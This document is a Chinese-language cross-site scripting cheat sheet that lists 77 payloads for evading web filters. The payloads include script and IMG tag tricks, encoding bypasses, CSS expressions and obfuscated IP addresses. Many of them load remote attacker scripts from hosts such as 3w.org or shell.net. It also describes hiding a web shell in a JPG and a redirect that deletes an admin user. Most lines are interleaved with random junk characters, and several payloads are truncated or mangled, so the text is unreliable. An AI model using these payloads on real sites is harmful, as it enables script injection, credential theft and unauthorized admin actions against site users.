跨站图片shell/ s$ h9 N" N7 Q8 c/ [
XSS跨站代码 <script>alert("")</script>
5 W+ y# o. L5 T4 k* L0 H. [! ]3 o
- W( w) m$ D- h" S- n" B1 y9 b将代码加入到马的第一行,将马改成JPG图片格式,访问图片格式的马时,也会执行我们的马# z; T: F1 \; N# }. V
# @% n) c! V8 w [ S
3 b [2 O6 o" s
( R6 J" l- V8 @, r' n+ i6 J1)普通的XSS JavaScript注入
& V+ G) l/ E. t: n5 ]& A- @<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>
/ I+ P! ~2 O6 L! r) p
8 J5 ]5 F7 b3 K(2)IMG标签XSS使用JavaScript命令/ d1 k9 `8 b: I! r/ ?' b$ j9 ]) j
<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>& i2 T1 p( \! N4 a/ r' n
$ c$ u7 n, M/ r1 J2 a
(3)IMG标签无分号无引号
: a# {0 M" P6 `<IMG SRC=javascript:alert(‘XSS’)>2 }* t3 {. t5 p0 d& d* c% ?* o4 e
" U r" B4 h5 ~) Y) |$ R# m(4)IMG标签大小写不敏感
- M# D1 I8 D$ P, \8 u8 B<IMG SRC=JaVaScRiPt:alert(‘XSS’)>( h; F- E, Z0 q, s8 q. M. d, D
/ R+ x6 S; E- \% c8 A3 T
(5)HTML编码(必须有分号)4 G9 U/ a* f1 R7 K$ V
<IMG SRC=javascript:alert(“XSS”)>
6 ~+ p; Y( d5 J9 v$ i
2 l5 G6 e# }% v0 P* Z9 E6 q3 k(6)修正缺陷IMG标签/ `6 X9 ^1 l0 R
<IMG “”"><SCRIPT>alert(“XSS”)</SCRIPT>”>* M; |4 s& m- x" f; Z; k
+ @$ i$ T" j2 M: H$ U, C. ?(7)formCharCode标签(计算器)
$ i* }; i2 w4 T: C2 m4 m5 G m<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>/ G9 \) z8 G) t- O `
( q1 M1 M$ ~% E! ]& t$ u(8)UTF-8的Unicode编码(计算器)
$ T" D+ X+ g% O; p3 ]<IMG SRC=jav..省略..S')>
* B# B" f/ p: E. T3 G4 s8 I- P
W* u: X; d/ x) { J(9)7位的UTF-8的Unicode编码是没有分号的(计算器)1 a+ y: ~9 w+ I O& U1 A8 r. w9 K
<IMG SRC=jav..省略..S')>
! }' o: N. R8 z6 x
a! H# j! x; O+ b2 F' f% |2 S7 h(10)十六进制编码也是没有分号(计算器)
+ @& m+ O! t* g4 D- i<IMG SRC=java..省略..XSS')>1 o7 }9 @3 z- ~+ |! k- `3 w9 I
* k$ Y, f0 z) u( i9 P4 H4 i4 E. X(11)嵌入式标签,将Javascript分开2 w1 |' E" T* y" ^; M
<IMG SRC=”jav ascript:alert(‘XSS’);”>
2 x: n& N2 ~, n$ I9 \. ?. m2 X- @7 |- E. ~, @
(12)嵌入式编码标签,将Javascript分开% p5 O1 x9 n$ t7 W
<IMG SRC=”jav ascript:alert(‘XSS’);”>4 L$ I. ]! t/ l; d3 ?2 `6 R9 Q, d
1 O1 ~) S8 D- Z0 ~7 J- i# y(13)嵌入式换行符3 k- m. ^& u, a6 ?/ x* g
<IMG SRC=”jav ascript:alert(‘XSS’);”>
) T- b* ]7 d) r+ v0 T6 k- J" r
, `4 d- S0 b9 C! e(14)嵌入式回车, p% }; j# Z0 a& b, `$ O
<IMG SRC=”jav ascript:alert(‘XSS’);”>
' H$ \6 y$ X6 z, e0 ^! T; t" Y1 p6 d' j
(15)嵌入式多行注入JavaScript,这是XSS极端的例子
5 V T% A a/ F0 y/ l: }<IMG SRC=”javascript:alert(‘XSS‘)”>" M5 @: }, {; y, ` E7 u- N( d7 m
) ]1 u% I& E. R+ i3 P- m
(16)解决限制字符(要求同页面)# p' u& ]1 [* m4 Q1 a$ o+ h% s
<script>z=’document.’</script>" V4 F; [6 n- U- {
<script>z=z+’write(“‘</script>+ j6 @6 d0 J9 u( n; X' e7 q' g6 P: ~
<script>z=z+’<script’</script>/ @) f' j6 C9 a- o0 h" ?
<script>z=z+’ src=ht’</script>
+ G8 [# J' \' r4 F0 P3 F" O<script>z=z+’tp://ww’</script>8 n5 b: P: q, M* L, A
<script>z=z+’w.shell’</script>
9 g9 z6 v& o- H( y- k' X<script>z=z+’.net/1.’</script>
4 p' N: |2 G1 Q2 T3 q- o<script>z=z+’js></sc’</script>) o$ o5 b7 `$ j3 l" d
<script>z=z+’ript>”)’</script>
5 g2 S0 w5 |" N! Z8 w' [+ v8 e7 M<script>eval_r(z)</script>3 K ^9 L ?, v# |/ _
# F7 C4 G3 u' F8 n1 `! Z
(17)空字符 s# c# R: X X5 }# g
perl -e ‘print “<IMG SRC=java\0script:alert(\”XSS\”)>”;’ > out. |! u, I1 S' a+ a# |
. @0 @2 y8 ]: Z. l( D(18)空字符2,空字符在国内基本没效果.因为没有地方可以利用: t. ^9 L! m3 T' f5 \* T
perl -e ‘print “<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>”;’ > out
% A* _/ ~ ^' {' L: @, U8 B; G/ z2 ^5 M7 ?0 `0 n ]. T, v1 u
(19)Spaces和meta前的IMG标签
3 Y7 e- j% Z) |- j: T<IMG SRC=” javascript:alert(‘XSS’);”>' i! R! |# F. t$ u0 H
) t: a7 X/ E" y4 d(20)Non-alpha-non-digit XSS! w6 Q0 o M$ a+ L
<SCRIPT/XSS SRC=”http://3w.org/XSS/xss.js”></SCRIPT>5 J' @( z: l: S: P; V
: n' o! m- `& f/ m! y
(21)Non-alpha-non-digit XSS to 2, p# R8 R9 L( m f$ q
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>/ N' D- f( \0 S: p+ Y
2 a9 _4 m1 }% j6 {6 {3 |
(22)Non-alpha-non-digit XSS to 3
, |7 R. `0 w& y<SCRIPT/SRC=”http://3w.org/XSS/xss.js”></SCRIPT>- L9 E( ^3 _0 T8 \) N: H
0 i4 d g+ ]8 k! r- f9 r. |: ?
(23)双开括号! g( i3 d( a* d" `
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
* h' d) e; U0 T# O, K
& M6 B7 U% p& c! e q' U(24)无结束脚本标记(仅火狐等浏览器)/ A6 w9 y4 `$ x K# j
<SCRIPT SRC=http://3w.org/XSS/xss.js?<B>" r' a: e' B) z' |, P4 u5 ~0 B* O
$ O7 S3 L3 }1 V! Y6 \* @
(25)无结束脚本标记2
) M- p; N5 N1 L. K<SCRIPT SRC=//3w.org/XSS/xss.js>
7 z g6 \) G& q7 c2 ]9 m) a% o+ U& M7 _; {( M
(26)半开的HTML/JavaScript XSS, D) ?& k1 I1 O4 n% x
<IMG SRC=”javascript:alert(‘XSS’)”
* O0 q" E' E9 x4 k5 d# I2 H' T6 _7 d, G
(27)双开角括号2 A$ N9 P3 [& l
<iframe src=http://3w.org/XSS.html <
7 y2 \8 \' K; |1 O# i
# w d" A% F; {$ y# w/ `8 ^(28)无单引号 双引号 分号
" [- H: W) _& h4 j6 `2 f. Y<SCRIPT>a=/XSS/
+ D5 X! i" {6 f) U, p7 H. t8 I( D2 }alert(a.source)</SCRIPT>7 [* z' d' }! ?7 I+ R
/ d2 i& Y6 c( W- v* [9 b3 P
(29)换码过滤的JavaScript
9 h4 k( {7 d- E" m\”;alert(‘XSS’);//7 C/ X4 `% ~+ w9 P5 C7 l G' [( t
7 B+ K. Z6 k- t/ r. }
(30)结束Title标签! L! E9 `" O# r& t
</TITLE><SCRIPT>alert(“XSS”);</SCRIPT>
, O. G4 I$ Y# J& t
5 D+ ~# p1 y5 \+ N: X(31)Input Image
- N6 ]+ v% J6 ?& \) P<INPUT SRC=”javascript:alert(‘XSS’);”>
8 B/ Y. X8 K3 h: ?- I$ b4 z I; l6 L. J% W* O
(32)BODY Image
& u3 ^9 T. R2 p* P _( ~# q% W<BODY BACKGROUND=”javascript:alert(‘XSS’)”>' f! R4 [, i2 u% o' ^! y. G" D
, h- Q- s7 p2 U0 I& \$ `5 J0 W, U(33)BODY标签
5 h# J4 {1 `7 U<BODY(‘XSS’)>
& k2 {$ v1 d& }3 m( i; S( n3 w: n2 Q; G) Z
(34)IMG Dynsrc$ F' w$ P) O8 P7 e9 `9 _1 J
<IMG DYNSRC=”javascript:alert(‘XSS’)”>9 }+ f! h3 ^$ H+ ^! S
]% O( }4 D9 j6 u
(35)IMG Lowsrc1 i3 c2 }4 z( `! E
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
5 a/ X& m W5 Y0 z; C( ~/ x( Y ]/ Z2 v7 }1 P }. z
(36)BGSOUND, ^- n0 D& H4 S. l
<BGSOUND SRC=”javascript:alert(‘XSS’);”>
% G8 V" y0 a% I) L6 D" Y3 v6 l0 j. Q2 W- y
(37)STYLE sheet
5 [0 Z# N" P0 K* M- y<LINK REL=”stylesheet” HREF=”javascript:alert(‘XSS’);”>
0 T' i+ }' j* u G+ o; X: j9 l: [* U) z1 h5 y7 Q# w
(38)远程样式表; d( R, A# y/ A5 Q# `( e- i
<LINK REL=”stylesheet” HREF=”http://3w.org/xss.css”>. P' S8 N4 Y' X4 g7 s
1 ], e5 o6 b, P' ], D. {6 ~
(39)List-style-image(列表式)1 u. ?5 o5 Q0 ]
<STYLE>li {list-style-image: url(“javascript:alert(‘XSS’)”);}</STYLE><UL><LI>XSS
9 s' f6 O ^2 m" z8 b5 {' o" o) A# K3 {, k: p9 t
(40)IMG VBscript* }9 Q. O- ~. g! P- C7 g* {8 S
<IMG SRC=’vbscript:msgbox(“XSS”)’></STYLE><UL><LI>XSS/ ]& m) |* f$ @% p9 }% t0 M% G; y
2 @9 H& W+ A% t$ \* C(41)META链接url
: N/ f- D/ e! P4 }8 Q<META HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript:alert(‘XSS’);”>
3 F5 h0 h* b4 @- v* `. h9 w5 c9 ~3 a9 R) w
(42)Iframe: G( r: h- `7 N# K3 C" V, }/ U
<IFRAME SRC=”javascript:alert(‘XSS’);”></IFRAME>
6 r* J5 U2 I* \- |0 J(43)Frame
% A0 ^" z, [+ Z5 B<FRAMESET><FRAME SRC=”javascript:alert(‘XSS’);”></FRAMESET>
% a1 v) J1 M6 s% O4 ~" q2 v0 p0 B1 G* F3 ^- c
(44)Table
/ _' x( ^- e/ V' c) n7 {<TABLE BACKGROUND=”javascript:alert(‘XSS’)”>0 H, D& u! I/ y9 { c/ ?' ^7 q
& N) T2 ?0 [: m G7 Y
(45)TD4 L G8 ] Q1 S T A8 }
<TABLE><TD BACKGROUND=”javascript:alert(‘XSS’)”>1 G8 c2 I+ v! q( P
6 k0 M# t. n- J+ \
(46)DIV background-image1 r5 b# N8 v. ^4 K
<DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”>
+ e; p, D" `+ T2 h% x% H7 E+ f0 @1 W3 k: q; A* Q2 O- b
(47)DIV background-image后加上额外字符(1-32&34&39&160&8192-8&13&12288&65279)
8 j1 ^0 R- F( i<DIV STYLE=”background-image: url( javascript:alert(‘XSS’))”>
* a# _5 d7 b; S. H1 ^* `
8 S5 H9 X' B% ]* F/ u: ?/ z- e( @! Z1 m8 R(48)DIV expression C5 F2 [9 {0 K5 s+ M( \2 f
<DIV STYLE=”width: expression_r(alert(‘XSS’));”>5 \9 q# r- k! l" K' F- d3 H
; \0 {: Y* `' l
(49)STYLE属性分拆表达
) d, S0 w4 ]* A) M2 _<IMG STYLE=”xss:expression_r(alert(‘XSS’))”>" J7 p6 U$ x S+ D3 w
+ R, g/ p; y( D) A; K
(50)匿名STYLE(组成:开角号和一个字母开头)
h2 _1 b# O& ]" O2 `7 ] S<XSS STYLE=”xss:expression_r(alert(‘XSS’))”>" @: J& P2 C" x/ @" C
/ U' p$ r$ h- H( C* R/ u+ @* Y' t! q
(51)STYLE background-image
# ?$ W4 J% x7 s6 q, @# C& f<STYLE>.XSS{background-image:url(“javascript:alert(‘XSS’)”);}</STYLE><A CLASS=XSS></A>
4 v" b e( Y# t0 E+ P( ~- [
# D. p6 r( u- x1 ?(52)IMG STYLE方式, i' T& c1 R; ?# l3 u
exppression(alert(“XSS”))’>) @+ K! h/ c/ ^& d# d L
! q' w" t6 C2 c; N
(53)STYLE background4 Y) E E* `* y2 E9 w/ `
<STYLE><STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE>! w$ `/ c: F7 q& j
* |# o% V' j. _) A* h# E3 R8 |/ @! j- K% w(54)BASE
1 P( F' @$ ]3 r, A, a<BASE HREF=”javascript:alert(‘XSS’);//”>7 F4 h G6 w* V& M8 m. o
6 }, {8 V7 t4 I- R
(55)EMBED标签,你可以嵌入FLASH,其中包涵XSS
8 [& o u# n6 x1 e2 `# a9 C: q3 D<EMBED SRC=”http://3w.org/XSS/xss.swf” ></EMBED>& @% ?4 y7 z! U$ C* Q
( P4 s+ ], d' {/ z0 }(56)在flash中使用ActionScrpt可以混进你XSS的代码) f5 F* e$ k' T1 Y9 F) \
a=”get”;
; ?- _& z- ?# O/ ]* Q) ^b=”URL(\”";9 r* K' P& g; H. P f& x
c=”javascript:”;- a2 x8 \2 |9 u4 O
d=”alert(‘XSS’);\”)”;
* f9 \3 R9 c c. z/ P; leval_r(a+b+c+d);
' v0 w9 O* ~! m9 F
9 e9 g0 q5 K! x9 M/ U, x& `* S4 P1 _(57)XML namespace.HTC文件必须和你的XSS载体在一台服务器上7 \4 N0 f+ ^; E v" M' J
<HTML xmlns:xss>) l' r F; ^/ L! H
<?import namespace=”xss” implementation=”http://3w.org/XSS/xss.htc”>
0 T( R: x6 X3 x; q+ Z% Z<xss:xss>XSS</xss:xss>/ L; h( d; J2 |* m6 `% U; W
</HTML>" O6 U. T+ X8 i% y1 W& t; M6 O
, i! {( w- Y4 q6 B(58)如果过滤了你的JS你可以在图片里添加JS代码来利用7 j) P/ Y* h9 N- w6 I
<SCRIPT SRC=””></SCRIPT>
% o+ M c/ @# P
/ l4 M J9 p6 Y# o5 T8 M1 q(59)IMG嵌入式命令,可执行任意命令
7 ]7 j N3 x V3 Q, @7 w<IMG SRC=”http://www.XXX.com/a.php?a=b”>( X( b) B: t/ j/ J" ]6 @- m1 [
$ y8 y0 W m6 \! Q N/ z(60)IMG嵌入式命令(a.jpg在同服务器)0 d" i+ T! ]/ P% L9 M6 W) n% j
Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser
0 U- x" ]+ W8 L- D7 s4 H1 d; N, m6 Z3 V t9 W, L8 C
(61)绕符号过滤
6 N3 Y, C `2 v9 Z4 `# i1 J# y! a<SCRIPT a=”>” SRC=”http://3w.org/xss.js”></SCRIPT>* J5 ^! |# A5 j+ P
8 ~ r: B% |: R; q(62)" F0 H Y( |1 e/ @
<SCRIPT =”>” SRC=”http://3w.org/xss.js”></SCRIPT>
7 N# N- Q, y" @) P; i+ f$ Q
f* k @- H; O6 [0 O4 r(63)
; U! X8 b7 K* T$ c! f, ]<SCRIPT a=”>” ” SRC=”http://3w.org/xss.js”></SCRIPT>
1 B, ~7 {5 y& F$ ]2 D
& w9 C9 Y: ^; K y: K$ r, s(64)0 d1 e% m4 G1 Z2 q8 _4 B
<SCRIPT “a=’>’” SRC=”http://3w.org/xss.js”></SCRIPT>, f5 S/ t1 T. O4 |
! J+ I: y v. _( O5 Z' M(65)3 v- b) Y/ z# A
<SCRIPT a=`>` SRC=”http://3w.org/xss.js”></SCRIPT>+ i: O8 _) `# m' D) P
5 m. R- m* y! k5 [(66)
* H" t; P* P& ~0 N<SCRIPT a=”>’>” SRC=”http://3w.org/xss.js”></SCRIPT>
. f' o6 L' q: O# c0 Z9 ^
+ z; h o) G8 }' o(67)2 w3 L5 `# X( B/ p+ y1 J
<SCRIPT>document.write(“<SCRI”);</SCRIPT>PT SRC=”http://3w.org/xss.js”></SCRIPT>/ U- H1 M& A9 |; Q$ r4 Z
$ ^' s2 y, P: \: B6 H& z
(68)URL绕行
+ K. a K* u* \' B7 A E/ ?<A HREF=”http://127.0.0.1/”>XSS</A>
' I& y7 J5 M {% y3 D( ~" m0 {% p( a) [! j2 K4 ~, M5 @1 k3 r
(69)URL编码
$ q$ Y6 b, i* l/ {# T2 M<A HREF=”http://3w.org”>XSS</A>
V d: E5 j4 I9 R/ S) O
6 q) F' O- ?, a1 V( J9 C/ `(70)IP十进制$ P# l1 V" i, |2 y' p9 B1 m4 a
<A HREF=”http://3232235521″>XSS</A>9 e( u o, j5 o0 l$ x' h( L
# ~' Y% ]0 K" {7 [(71)IP十六进制2 P3 F* p ^; v5 e- v
<A HREF=”http://0xc0.0xa8.0×00.0×01″>XSS</A>
& q# ~% `" U# c4 I( s' Q$ L g8 t* z: _' ^7 T2 K- ^
(72)IP八进制
: a! v. ^$ O" O7 T& Y/ N0 z6 R' z<A HREF=”http://0300.0250.0000.0001″>XSS</A>
' j: T( G3 \6 o8 z9 x2 g! D1 x1 y7 z! e
(73)混合编码! i; P% }* @3 o0 w( y
<A HREF=”h
- k: L0 G' K2 U$ Y( f3 f0 htt p://6 6.000146.0×7.147/”">XSS</A>' c% C# ^# J K& o9 q
1 `8 u3 L2 K M3 w2 ?
(74)节省[http:]
' E6 e* K! `6 _; F<A HREF=”//www.google.com/”>XSS</A>
l1 B# N8 t( |, S/ M' U
7 P% I, f/ D/ Z(75)节省[www]0 A, `$ c6 x# z0 ^/ A( \6 Q- p
<A HREF=”http://google.com/”>XSS</A>
7 M% U, T& {) o3 {
) X* R% `2 f% z- X(76)绝对点绝对DNS
3 B( }2 k( H3 y! X7 U* w/ v" S& i<A HREF=”http://www.google.com./”>XSS</A>% Z, u$ t2 p8 ]4 h/ g
" A- \ Z- Y" i9 N& X(77)javascript链接; t/ D' t! d+ H6 W/ r, f. Q
<A HREF=”javascript:document.location=’http://www.google.com/’”>XSS</A>
& i& b1 N- Y: }- s! H- n/ y: b2 d |